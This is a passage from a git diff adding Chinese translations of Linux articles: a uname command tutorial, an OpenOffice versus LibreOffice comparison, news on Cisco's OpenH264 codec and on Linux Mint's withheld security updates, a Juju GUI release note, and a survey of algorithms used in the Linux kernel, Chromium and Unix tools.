关于”获取操作系统的信息。这时,在Linux下,你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。 + +当你输入uname不带参数时,它仅仅显示你的操作系统的名字。 + + # uname + + Linux + +也许这还不能满足你的需要。所以你需要加上一些参数,来使uname显示你所需要的信息。 + +以下是uname参数的列表: + +### 1. 内核名称 ### + +你可以用**-s**参数,显示内核名称。(译注:可以在其他的类Unix系统上运行这个命令看看,比如mac就会显示Darwin) + + # uname -s + + Linux + +输出信息会跟uname不带参数时输出的一样。 + +### 2. 内核发行版 ### + +如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数 + + # uname -r + + 2.6.18-371.1.2.el5 + +### 3. 内核版本 ### + +除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息(译注:不是版本号,是指该内核建立的时间和CPU架构等)。 + + # uname -v + + #1 SMP Tue Oct 22 12:57:43 EDT 2013 + +### 4. 节点名 ### + +参数 -n 会提供给你节点的主机名。举例来说,如果你的主机名是“dev-machine”,**-n**参数就会把主机名打印出来。 + + # uname -n + + dev-machine + +对于RedHat和CentOS用户来说,你也可以通过**/etc/redhat_release**文件来查看: + + # cat /etc/redhat_release + + CentOS release 5.10 (Final) + +如果不是基于RedHat的发行版,你可以查看**/etc/issue**文件.类似如下: + + # cat /etc/issue + + Linux Mint Olivia \n \l: + +### 5.硬件名称 ### + +如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。 + + # uname -m + + i686 + +i686表明了你用的是32位的操作系统,如果是X86_64则表明你用的是64位的系统。 + +### 6. 硬件平台 ### + +与硬件名称类似,-i参数会显示你的硬件平台(译注:硬件名称i686是属于硬件平台i386系列的)。 + + # uname -i + + i386 + +同样,i386意味这是正在运行一个32位的系统,如果输出的是X86_64则说明你正在运行一个64位的系统。 + +### 7. 处理器类型 ### + +你可以用**-p**参数查看处理器类型。如果uname无法识别,它会显示 ‘unknown’ 作为输出。 + + # uname -p + + i686 + +### 8. 操作系统 ### + +uname也可以透露你正在运行的操作系统信息,用**-o**参数可以实现这个目的。 + + # uname -o + + GNU/Linux + +### 9. 所有信息 ### + +有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。 + + # uname -a + + Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux + +以上就是关于uname命令的使用。请敬请期待更多的命令! + +谢谢阅读! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/uname-command/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Apache OpenOffice vs. LibreOffice.md b/published/201311/Apache OpenOffice vs. LibreOffice.md new file mode 100644 index 0000000000..6870f2b878 --- /dev/null +++ b/published/201311/Apache OpenOffice vs. LibreOffice.md @@ -0,0 +1,79 @@ +Apache OpenOffice 与 LibreOffice 之间的抉择 +================================================================================ +> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势…… + +[Apache OpenOffice][1]和[LibreOffice][2]都是OpenOffice.org的现代衍生产品。最近几年,几乎所有的Linux发行版都将LibreOffice作为它们的默认办公套件。然而,过去18个月来,OpenOffice作为Apache项目又重新回到了人们的视线,对于这两款全功能办公套件,现在,自由软件用户可以进行二选一咯~ + +然而即使是用户,在两种几乎一样的选择中做决定也会有困难。三年前,这哥儿俩分了家,三年时间,这对于软件开发来说是很长的一段时间,即使是这样,OpenOffice和LibreOffice之间的不同却刚刚开始显现。除去那些明显已经去掉的过时特性,单说功能集合与基本逻辑,自从OpenOffice.org时代以来,这两者都几乎没有什么大的改变。 + +纵观整个套件,只有个别应用里能发现一些新功能,主要集中在Writer的文字处理方面。其实,它们两者之间的大部分区别主要存在于更高的层面,例如对格式和字体的支持、对插件扩展的政策等,更多的不同,则体现在是否紧跟时代,以及对标准化接口的努力程度上。 + +###具体各程序间的区别### + +LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再如Impress,主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表单。 + +即使在用户最常用的Writer程序中,两者的区别也很小。LibreOffice这边,编辑窗口的底部状态栏现在新包含了一个字词计数器,审阅标签也不再局限于某个单个点,现在可以附加在配图上,另外,LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug,除此以外,LibreOffice还添加了一个简易搜索栏,与web浏览器上的那种类似,同时,去掉了图形水平线的选项,这个功能过去十几年来几乎从没人用过。 + +###格式与字体### + +一些更明显的区别体现在格式分类与字体支持上。例如,OpenOffice始终支持一些较老的保存格式,像AportisDoc(Palm版)和Pocket Word。另外,它也可以打开.docx格式的文件,但是无法像LibreOffice一样将文档保存为docx格式。 + +LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->字体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。 + +这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。 + +然而,如果你确实需要转换一些本地或微软的文档,LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档,而且它对字体替换处理的很好,而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少,例如在特性实现上有所不同,但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。 + +###对待插件扩展的政策### + +OpenOffice和LibreOffice两者都能很好的支持插件扩展,想要加强或替换某个特性的时候,用户只需要几分钟就能下载并安装完毕。大多数情况下,同一个扩展,在OpenOffice和LibreOffice上面都能工作的很好。 + +区别就在于,使用LibreOffice时,你无需亲自安装那些最流行的插件扩展。相反,LibreOffice已经帮你安装整合好了。例如,基本语法校验工具Lightproof、数据库汇总和打印工具ReportBuilder、演示文稿压缩工具PresentationMinimizer、博客用户喜欢的WikiPublisher、还有幻灯片配置工具PresentationConsole等等。 + +以上这些扩展在OpenOffice下同样可用。与前者不同的是,使用OpenOffice时,你首先需要知道有这些扩展,然后专门去找到它们,这样一来,很大程度上限制了新用户对很多功能的体验。因此,当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时,这样的疏漏就成了一个非常严重的不足,特别是当它很容易弥补的时候,(更何况LibreOffice同时也提供了自家最新的模板和剪贴画)。 + +###界面的更新换代### + +在OpenOffice.org属于Sun和Oracle的12年日子里,它的界面和许多的其它功能一样,几乎被丢在遗忘的角落。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除,其实大部分仍然亟待更新。 + +在最新的发布中,OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性,你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的。 + +边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。 + +LibreOffice还拥有更多的“冒险创新精神”,例如,与边栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。 + +在Writer编辑窗口中,LibreOffice的大部分界面已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。 + +更明显的,LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的,页眉和页脚也默认改为不可见,要想找到它们,四个小直角标明了它们的边界位置,点击就可以出现。 + +不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式,但是让人郁闷的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏起来。 + +尽管LibreOffice还重组了许多对话窗口的选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的界面问题,而这些,OpenOffice甚至都还没来得及意识到。 + +###做出选择### + +如果文档不超过2到3页,一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。 + +这一优势的确很难被忽略。原因首先是,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助,也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。 + +其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方分支,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。 + +没有人做过准确的调查,但是我印象中,当OpenOffice.org社区分家的时候,大部分富于冒险创新精神的贡献者都选择了LibreOffice,同时,有一些半独立的文档小组,在谨慎地同时为两个项目工作。 + +其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全从头实现。 + +这一情况有可能会改变,尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候,然而LibreOffice的支持者们正在迅速扩张,它的社区非常活跃,短短3年间所做的要比OpenOffice.org十二年来做的还要多。 + +现在,除非你特别需要某个功能,使用OpenOffice还是LibreOffice几乎没有区别。但是,我断定,除非发生某些不可预料的事情,否则LibreOffice的优势将会越来越大。无论你选择支持哪一方,几年内,也许你会对它重新作出评价。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.openoffice.org/ +[2]:http://www.libreoffice.org/ +[3]:https://en.wikipedia.org/wiki/Go-oo \ No newline at end of file diff --git a/published/201311/CISCO Announce New Open Source H.264 Codec.md b/published/201311/CISCO Announce New Open Source H.264 Codec.md new file mode 100644 index 0000000000..3a9f7e6c87 --- /dev/null +++ b/published/201311/CISCO Announce New Open Source H.264 Codec.md @@ -0,0 +1,51 @@ +思科发布新的开源H.264编解码器 +================================================================================ + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2012/04/youtube.jpg) + +*YouTube是众多使用H.264的网站之一* + +**美国网络设备公司思科[宣布它计划提供一个开源的H.264编解码器](1) - 也就是说以后在WebRTC中播放电影就再不会有问题了。** + +尽管H.264广泛应用于HTML5视频流中,但是不是所有的浏览器和操作系统都可以利用H.264。 + +这是因为使用可以编码与解码H.264视频的编解码器需要向持有相关专利的MPEG LA组织支付高昂的使用费(也许不是巧合,[一些专利为思科所拥有](2))。 + +此外,用于H.264的编解码器禁止随同像网页浏览器这样的开源软件一同分发。 + +这就是一些YouTube的HTML5视频不能在Firefox中播放但却可以在Google Chrome中播放的原因。因为后者有能力支付许可费用从而使它的用户受益。 + +但是思科打算通过他们自己开发一个可以被包括开源项目在内的**任何项目免费使用**的开源H.264编解码器实现,OpenH264,来消除这样的不平等。对它二进制模块的使用也不再有许可费用和限制。 + +这家公司谈到,通过开源他们的H.264编解码器和为他们预编译的二进制文件提供免费下载,这将给像WebRTC这样的允许浏览器间实时通信的HTML5 API提供强大动力。 + +>‘思科并不是第一个去创建H.264开源实现的...’ + +实际上,Mozilla[已经宣布](3)它计划在Firefox中支持思科的H.264二进制模块。 + +思科并不是第一个去创建H.264的开源实现的。GNU的libavcodec库已经包括了解码器和编码器,后者基于[x264](4)。但是思科提供的开源实现是有法律支持的 - 而这正是其它的开源实现所缺乏的。这使得思科的解码器对象Mozilla这样的公司来说就非常有用,这可以使得它们无需担心法律问题。 + +然而,思科公司为何提供这样一个新编解码器的原因还不很清楚。 + +思科将开源他们的H.264栈。这将随着预编译二进制模块一同可从他们的网站上免费下载。像Firefox这样的应用就可以在需要解码H.264视频的时候载入它(甚至可在需要的时候自动下载它)。 + +于此同时,思科将要向MPEG LA组织支付专利费用,而这些费用却无法向使用它们模块的用户收取。对于直接由源代码进行编译的行为的限制也不清晰。尽管如此,随着代码在Github网站上进行托管,我们就可以获得更多信息。 + +###总结### + +思科正在帮助Web技术的前进。多亏了思科公司在开源方面的努力,使用OpenH264,基于广泛使用的标准的高质量的视频流将可以在更多的平台被更多的人使用。 + +不管你是否是一个H.264的粉丝,或者你赞成采纳完全免费的VP8,这一可以提供公平竞争环境的举措都是值得称道的。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/cisco-announce-open-source-h-264-codec + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blogs.cisco.com/collaboration/open-source-h-264-removes-barriers-webrtc/ +[2]:http://en.wikipedia.org/wiki/MPEG_LA#H.264.2FMPEG-4_AVC_Licensors +[3]:https://blog.mozilla.org/blog/2013/10/30/video-interoperability-on-the-web-gets-a-boost-from-ciscos-h-264-codec/ +[4]:http://en.wikipedia.org/wiki/X264 \ No newline at end of file diff --git "a/published/201311/Canonical Dev Calls Linux Mint \342\200\230Vulnerable\342\200\231, Wouldn\342\200\231t Use it For Online Banking.md" "b/published/201311/Canonical Dev Calls Linux Mint \342\200\230Vulnerable\342\200\231, Wouldn\342\200\231t Use it For Online Banking.md" new file mode 100644 index 0000000000..71cce4cc30 --- /dev/null +++ "b/published/201311/Canonical Dev Calls Linux Mint \342\200\230Vulnerable\342\200\231, Wouldn\342\200\231t Use it For Online Banking.md" @@ -0,0 +1,39 @@ +Canonical Dev称Linux Mint“脆弱”,不要将其用于网银 +================================================================================ +**一位Canonical公司[工程师建议][1]:基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。** + +Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ,Oliver Grawert说。 + +> “不去马上整合Ubuntu提交的那些修正,而是拒绝这些软件包的(安全)更新。我要说,强制保持一个有缺陷的内核、浏览器或xorg,而不是允许安装更新补丁,这会变成一个易受攻击的系统,(原文如此)”。 +> +> “就我个人而言,我不会用它做网银操作。” + +当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法: + +> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说,Mint需要花好几个月才能得到一个Firefox的修正版,而Ubuntu和Debian已经早在他们的包上打了安全补丁。 +> +> 这将置Linux Mint用户处于危险中,也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。” + +Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师,他比大多数人更了解自己在说什么。 + +那么Mint的用户存在实际风险么? + +半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”(这个词更好一些)都是有记录和已知的,虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在,至少现在,在理论上是很有可能的。 + +也就是说,没有发生**已知的**由于使用Mint发行版(或任何其他基于Ubuntu的未打补丁的发行版)并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。 + +但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。 + +**看到Ubuntu持续被提及有关自身的(主要是理论上)隐私问题后,至少它还穿着另外一只鞋子,我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。** + +*请注意:我们已经向Linux Mint征求意见及澄清,答复将在后继文章发表。* + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html diff --git a/published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md b/published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md new file mode 100644 index 0000000000..065502139c --- /dev/null +++ b/published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md @@ -0,0 +1,38 @@ +云端服务管理工具 Juju GUI 0.11版发布 +================================================================================ +坚如磐石的桌面、光鲜靓丽的手机、高端大气上档次的云管理工具,这三样东西一直是 Canonical 公司的立足之本,高速发展、大气的决策、热衷创新 —— 这些来自市场的认可使得这家公司与戴尔、惠普以及 OpenStack 基金会等组织成为高级合作伙伴,同时它在 IT 世界中扮演着传播新鲜事物和现代主义思想的角色。 + +[Juju][2] 是 Ubuntu 旗下的一款工具,可以对云端的服务进行快速可靠的布署,包括可以扩展云端业务,因此管理员可以很容易地布署 Wordpress 博客系统、MongoDB 大系统管理系统、Ceph 分布式文件系统等。 + +用户可以通过命令行和图形界面使用 Juju,图形界面被称为“Juju GUI”。 + +[Juju GUI][3]界面基于网页,精美、对用户友好、直观,用户可以通过网页简单的操作完成复杂的功能。 + +Juju GUI 已经[升级到][4] **0.11版**,下面介绍一下新版本涉及的功能、修复、优化: + +- 支持 charms 的升级、降级 +- 可以显示两个节点的关联 +- 大量减少 GUI 的大小,加快布署的进度 +- 优化服务定位功能 +- 增加红三角标记,用于标记 charms 和 bundles +- 删除有缺陷的操作(如添加己存在的单元) +- 为单元提供精确的链接地址 +- 其他一些改进这里就不说了 + +![](http://iloveubuntu.net/pictures_me/juju%20gui%20011.png) + +Juju GUI 长什么样?试试[https://jujucharms.com/sidebar/][5] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/cloud-tool-juju-gui-011-released-new-features-and-enhancements + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.canonical.com/ +[2]:https://juju.ubuntu.com/ +[3]:https://launchpad.net/juju-gui +[4]:http://jujugui.wordpress.com/2013/10/18/0-11-0-juju-gui-release/ +[5]:https://jujucharms.com/sidebar/ diff --git a/published/201311/Core algorithms deployed.md b/published/201311/Core algorithms deployed.md new file mode 100644 index 0000000000..b90765df84 --- /dev/null +++ b/published/201311/Core algorithms deployed.md @@ -0,0 +1,298 @@ +那些算法在哪里? +================================================================================ + +本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。 + +[Vijay D][103]写到: + +在我看来,一个系统背后主要发挥作用的算法更容易在非算法课程上找到,这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中,很少有实际问题能够精确匹配到一个抽象问题。归根结底,我认为没有理由让流行的算法课程,诸如Strassen乘法,AKS素性测试、或者Moser-Tardos算法与底层实际问题,如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因,我不会忽略简单随机算法或者PageRank。 + +我想你可以选择任何一个大型软件,并在内部找到它所采用的基础和高级的算法。作为一个研究案例,我选择了Linux内核,并会示例一些Chromium里面的例子。 + +### Linux内核中的基本数据结构和算法 ### + +Linux内核([源代码的链接在github][1])。 + +1.[链表][2]、[双向链表][3]、[无锁链表][4]。 + +2.[B+ 树][5],这是一些你无法在教科书上找到的说明。 + +> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。 + +> ... + +> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。 + +3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。 + +4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。 + +5.[区间树][11] + +6.[根树][12]用于[内存管理][13],NFS相关查询和网络相关功能。 + +> 根树的一个通用的用处是存储指针到结构页中。 + +7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。 + +> 《简单的基于CLR的只插入的,含有指针的定长优先级堆》第七章 + +8.[哈希函数][16],参考了Knuth和一篇论文。 + +> Knuth建议,用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性: +> +> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17] +> +> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。 + +9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。 + +> 使用了一种旋转哈希算法的哈希函数 +> +> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973 + +10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。 + +11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。 + +12.[信号量][23]和[自旋锁][24] + +13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。 + +14.[B树的二分查找][28]。 + +15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。 + +> 执行一个修改过的命名空间树的深度优先遍历,以指定的start_handle节点开始(及结束)。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值,搜索将会立即终止并且将其返回给调用者。 + +16.[广度优先搜索][31]用于检测运行时锁定的正确性。 + +17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。 + +18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。 + +19.[Knuth-Morris-Pratt 字符串匹配][36], + +> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本,其匹配时间是O(n),对于长度为m的模式(pattern),仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候,我们可以节省一个因数|SIGMA| +> +> \[1\] Cormen, Leiserson, Rivest, Stein,算法介绍,第二版,MIT出版社 +> +> \[2\] 见有限自动机原理 + +20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。 + +> 实现了Boyer-Moore字符串匹配算法: +> +> \[1\] 《一个快速的字符串搜索算法》,R.S. Boyer and Moore.计算机通信协会,20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] +> +> \[2\] 《准确的字符串匹配算法手册》,Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] +> +> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。 +> +> 如果你希望确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。 +> +> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,当你不介意匹配可能分布分散,那么用BM。 + +### Chromium 浏览器中的数据结构和算法 ### + +Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。 + +1.[伸展树][41]。 + +> 这个树通过分配策略(分配器)参数化。这个策略用于C的可用存储区的列表分配,参见zone.h。 + +2.[Voronoi算法][42]用于一个示例。 + +3.[基于Bresenham算法的选项卡][43] + +在Chromium的第三方代码里面也有如下的数据结构和算法。 + +1.[二叉树][44] + +2.[红黑树][45] + +> Julian Walker的总结 +> +> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始删除时,红黑树变得非常棘手。然而,通过复杂性的平衡,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,插入只能自顶向下,删除则需要自下而上。 + +> ... +> +> 红黑树是很流行的,像大多数数据结构一样有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好,需要保持平衡的话红黑树通常更好。有一些流传的误解,但在大多数情况下对红黑树的宣传是准确的。 + +3.[AVL 树][46] + +4.[Rabin-Karp字符串匹配][47]用于比较。 + +5.[自动机后缀的计算][48]。 + +6.由Apple公司实现的[bloom过滤器][49]。 + +7.[Bresenham 算法][50]。 + +### 编程语言库 ### + +我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法,这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。 + +1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。 + +2.[Java API][54]易于扩展的并且越来越多。 + +3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。 + +### 分配和调度算法 ### + +我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。 + +1.最近最少使用(LRU)算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。 + +2.其他的还有先入先出(FIFO)、最常使用和轮询。 + +3.FIFO的一个变种用于VAX/VMS系统。 + +4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。 + +5.Intel i860处理器是一种随机替代策略。 + +6.[自适应置换高速缓存][59]用于一些IBM存储控制器中,也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。 + +7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中,jemalloc并发分配器被用于FreeBSD和[facebook][62]中。 + +### *nix系统核心工具 ### + +1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造,显然[这甚至击败了Perl的实现][63]。 + +2.*tsort*实现了拓扑排序。 + +3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。 + +4.*GNU grep*,根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。 + +5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。 + +6.[*Unix diff*][66]由Doug McIllroy实现,基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。 + +### 加密算法 ### + +这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。 + +1.[Merkle 树][68],特别是 Tiger Tree Hash变种,被用于点对点应用,比如[GTK Gnutella][69]和[LimeWire][70]。 + +2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72]),同样也支持Windows和OSX。 + +3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。 + +### 编译器 ### + +1.[LALR 解析][74]在yacc和bison实现。 + +2.支配算法被用于大多数基于SSA形式的编译器优化。 + +3.lex和flex将正则表达式编译为NFA。 + +### 压缩和图像处理 ### + +1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。 + +2.行程长度编码用于产生PCX文件(用于原来的画笔程序),它是被压缩的BMP和TIFF文件。 + +3.小波压缩是JPEG2000的基础,所以所有生成JPEG2000文件的数码相机会支持这个算法。 + +4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。 + +### 冲突驱动语句学习算法 (CDCL) ### + +自2000年以来,SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法,它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地,工业造型,SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 